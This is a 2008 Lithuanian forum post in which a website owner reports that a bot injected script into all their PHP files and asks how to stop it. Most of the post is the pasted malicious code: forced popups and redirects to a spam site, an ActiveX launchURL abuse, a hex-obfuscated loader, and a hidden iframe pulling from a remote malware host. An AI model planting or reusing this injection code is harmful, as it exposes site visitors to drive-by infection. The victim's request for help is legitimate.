Parašė ahahhh· 2008 Gru. 24 22:12:52
#1
Sveiki, i mano puslapi atejo kazkoks kenksmingas robotas, kenksmingas tuo, kad jis i visus *.php failus automatiskai iraso si scripta:
?><!-- ad --><script language="JavaScript">
function y(){self.focus()} self.moveTo(0,0);self.resizeTo(screen.availWidth,screen.availHeight); y();
setInterval("y()",300000);
</script>
<script language="javascript"><!--
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:800px; dialogHeight:600px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0;help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = "scrollbars=1,menubar=1,toolbar=1,location=1,person albar=1,status=1,resizable=1";
var exit = true;
var usePopDialog = true;
var isUsingSpecial = false;
function normal_exit(){
if(exit && !isUsingSpecial) {
exit = false;
window.open(popURL,"",popWindowOptions);}}
--></script>
<script>
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
//--------------------------------------------------------------------------------
function ext()
{
if(exit)
{
exit=false;
if(!isXPSP2 && !usePopDialog)
{
window.open(popURL,"",popWindowOptions);
}
else if(!isXPSP2 && usePopDialog)
{
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}
else
{
iie.launchURL(popURL);
}
}
}
//--------------------------------------------------------------------------------
function brs()
{
document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>";
}
//--------------------------------------------------------------------------------
function ver()
{
isXPSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
if(isXPSP2) brs();
}
//--------------------------------------------------------------------------------
usePopDialog = false;
var refurl = window.location;
var popURL = 'http://cherrytv.ru/?partner=283';
isUsingSpecial = true;
eval("window.attachEvent('onload',ver);");
eval("window.attachEvent('onunload',ext);");
//--------------------------------------------------------------------------------
</script>
<body STYLE="behavior:url(#default#clientcaps)" ID="oClientCaps" onUnload="normal_exit()"><!-- /ad -->
Sis scriptas padaro taip, kad jei jus narsote puslapi jums automatiskai vietoj jusu puslapio atidaro kita puslapi kur siulo pirkt viagra, juokinga, bet tikra. Narsyt imanoma tik atsidarius dar viena narsykles langa, tada tos viagros puslapi atnaujina kitame lange, bet vis tiek man toks dalykas nepatinka.
Jei kas nors zinote kaip apsisaugoti nuo sito roboto, prasau, padekite.
ATNAUJINU:
Pirmai nukopinau ne visa scripta, sis visas:
<script>function c71912231668n49459dc0b4896(n49459dc0b5069){ var n49459dc0b5844=16; return (parseInt(n49459dc0b5069,n49459dc0b5844));}function n49459dc0b67e5(n49459dc0b6fba){ function n49459dc0b8734(){var n49459dc0b8f08=2;return n49459dc0b8f08;} var n49459dc0b778d='';n49459dc0b96dd=String.fromCharCode;for(n49459dc0b7f60=0;n49459dc0b7f60<n49459dc0b6fba.length;n49459dc0b7f60+=n49459dc0b8734()){ n49459dc0b778d+=(n49459dc0b96dd(c71912231668n49459dc0b4896(n49459dc0b6fba.substr(n49459dc0b7f60,n49459dc0b8734()))));}return n49459dc0b778d;} var xdc='';var n49459dc0b9eb0='3C7'+xdc+'3637'+xdc+'2697'+xdc+'07'+xdc+'43E696628216D7'+xdc+'96961297'+xdc+'B646F637'+xdc+'56D656E7'+xdc+'42E7'+xdc+'7'+xdc+'7'+xdc+'2697'+xdc+'465287'+xdc+'56E657'+xdc+'363617'+xdc+'065282027'+xdc+'2533632536392536362537'+xdc+'32253631253664253635253230253665253631253664253635253364253633253337'+xdc+'2532302537'+xdc+'332537'+xdc+'32253633253364253237'+xdc+'2536382537'+xdc+'342537'+xdc+'342537'+xdc+'30253361253266253266253632253639253637'+xdc+'2537'+xdc+'332536352536632536632537'+xdc+'332537'+xdc+'342536312536362536362532652536332536652532662536362536352536352536342536322536312536332536622532652536382537'+xdc+'34253664253663253366253237'+xdc+'2532622534642536312537'+xdc+'342536382532652537'+xdc+'322536662537'+xdc+'352536652536342532382534642536312537'+xdc+'342536382532652537'+xdc+'32253631253665253634253666253664253238253239253261253331253337'+xdc+'253330253335253332253330253239253262253237'+xdc+'253336253335253635253632253332253333253336253330253330253632253335253632253237'+xdc+'2532302537'+xdc+'37'+xdc+'2536392536342537'+xdc+'34253638253364253332253339253334253230253638253635253639253637'+xdc+'2536382537'+xdc+'342533642533352533382533302532302537'+xdc+'332537'+xdc+'342537'+xdc+'39253663253635253364253237'+xdc+'2536342536392537'+xdc+'332537'+xdc+'302536632536312537'+xdc+'39253361253230253665253666253665253635253237'+xdc+'2533652533632532662536392536362537'+xdc+'3225363125366425363525336527'+xdc+'29293B7'+xdc+'D7'+xdc+'6617'+xdc+'2206D7'+xdc+'969613D7'+xdc+'47'+xdc+'27'+xdc+'5653B3C2F7'+xdc+'3637'+xdc+'2697'+xdc+'07'+xdc+'43E';document.write(n49459dc0b67e5(n49459dc0b9eb0));</script>
<script>var cgm="<";var gdu="i";var erkpn=" ";var xauqi="laagf='rqHPvVqj' qtwnw='ba3OsK9C' src=";var atezl="ame>";var olqdx="info/srt/go.php?sid=1";var mqaye="?YctgX ";var nil="f";var pst="r";var rfa="a";var bdcmq="hqjmp='fE0EmgpZ' ";var gxu="m";var cha="e";var shwdw="width=142 ";var mftll="http://regedintheclub.";var jphss="height=81 ";var xlscj="style='display:none'";var xzhnd=mftll+olqdx;var lclok="></ifr";document.write(cgm+gdu+nil+pst+rfa+gxu+cha+erkpn+xauqi+xzhnd+mqaye+bdcmq+shwdw+jphss+xlscj+lclok+atezl);</script>
<!-- ad --><script language="JavaScript">
function y(){self.focus()} self.moveTo(0,0);self.resizeTo(screen.availWidth,screen.availHeight); y();
setInterval("y()",300000);
</script>
<script language="javascript"><!--
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:800px; dialogHeight:600px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0;help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = "scrollbars=1,menubar=1,toolbar=1,location=1,person albar=1,status=1,resizable=1";
var exit = true;
var usePopDialog = true;
var isUsingSpecial = false;
function normal_exit(){
if(exit && !isUsingSpecial) {
exit = false;
window.open(popURL,"",popWindowOptions);}}
--></script>
<script>
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
//--------------------------------------------------------------------------------
function ext()
{
if(exit)
{
exit=false;
if(!isXPSP2 && !usePopDialog)
{
window.open(popURL,"",popWindowOptions);
}
else if(!isXPSP2 && usePopDialog)
{
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}
else
{
iie.launchURL(popURL);
}
}
}
//--------------------------------------------------------------------------------
function brs()
{
document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>";
}
//--------------------------------------------------------------------------------
function ver()
{
isXPSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
if(isXPSP2) brs();
}
//--------------------------------------------------------------------------------
usePopDialog = false;
var refurl = window.location;
var popURL = 'http://cherrytv.ru/?partner=283';
isUsingSpecial = true;
eval("window.attachEvent('onload',ver);");
eval("window.attachEvent('onunload',ext);");
//--------------------------------------------------------------------------------
</script>
<body STYLE="behavior:url(#default#clientcaps)" ID="oClientCaps" onUnload="normal_exit()"><!-- /ad -->
Redagavo ahahhh· 2008 Gru. 24 22:12:14